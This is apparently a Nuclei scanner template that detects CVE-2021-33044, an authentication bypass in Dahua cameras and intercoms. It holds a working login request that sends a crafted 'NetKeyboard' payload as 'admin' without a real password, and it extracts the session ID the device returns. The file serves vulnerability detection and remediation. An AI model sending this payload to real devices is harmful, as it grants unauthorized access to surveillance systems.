66 lines
2.2 KiB
YAML
66 lines
2.2 KiB
YAML
id: CVE-2021-33044
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info:
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name: Dahua IPC/VTH/VTO - Authentication Bypass
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author: gy741
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severity: critical
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description: Some Dahua products contain an authentication bypass during the login process. Attackers can bypass device identity authentication by constructing malicious data packets.
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remediation: |
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Apply the latest firmware update provided by Dahua to fix the authentication bypass vulnerability.
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reference:
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- https://github.com/dorkerdevil/CVE-2021-33044
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- https://nvd.nist.gov/vuln/detail/CVE-2021-33044
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- https://seclists.org/fulldisclosure/2021/Oct/13
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- https://www.dahuasecurity.com/support/cybersecurity/details/957
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2021-33044
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cwe-id: CWE-287
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epss-score: 0.30474
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epss-percentile: 0.96431
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cpe: cpe:2.3:o:dahuasecurity:ipc-hum7xxx_firmware:*:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: dahuasecurity
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product: ipc-hum7xxx_firmware
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tags: dahua,cve,cve2021,auth-bypass,seclists
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http:
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- raw:
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- |
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POST /RPC2_Login HTTP/1.1
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Host: {{Hostname}}
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Accept: application/json, text/javascript, */*; q=0.01
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Connection: close
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X-Requested-With: XMLHttpRequest
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Content-Type: application/x-www-form-urlencoded; charset=UTF-8
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Origin: {{BaseURL}}
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Referer: {{BaseURL}}
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{"id": 1, "method": "global.login", "params": {"authorityType": "Default", "clientType": "NetKeyboard", "loginType": "Direct", "password": "Not Used", "passwordType": "Default", "userName": "admin"}, "session": 0}
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- '"result":true'
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- 'id'
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- 'params'
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- 'session'
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condition: and
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- type: status
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status:
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- 200
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extractors:
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- type: regex
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group: 1
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regex:
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- ',"result":true,"session":"([a-z]+)"\}'
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part: body
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# digest: 490a0046304402202801a9d668843f877e0897cc13abb3de4d29d653c039c4c626a168415fdc064502205499272ea6a7f03c21159276268c10c7b02b9965f9bb6079908a5c0669bfb491:922c64590222798bb761d5b6d8e72950
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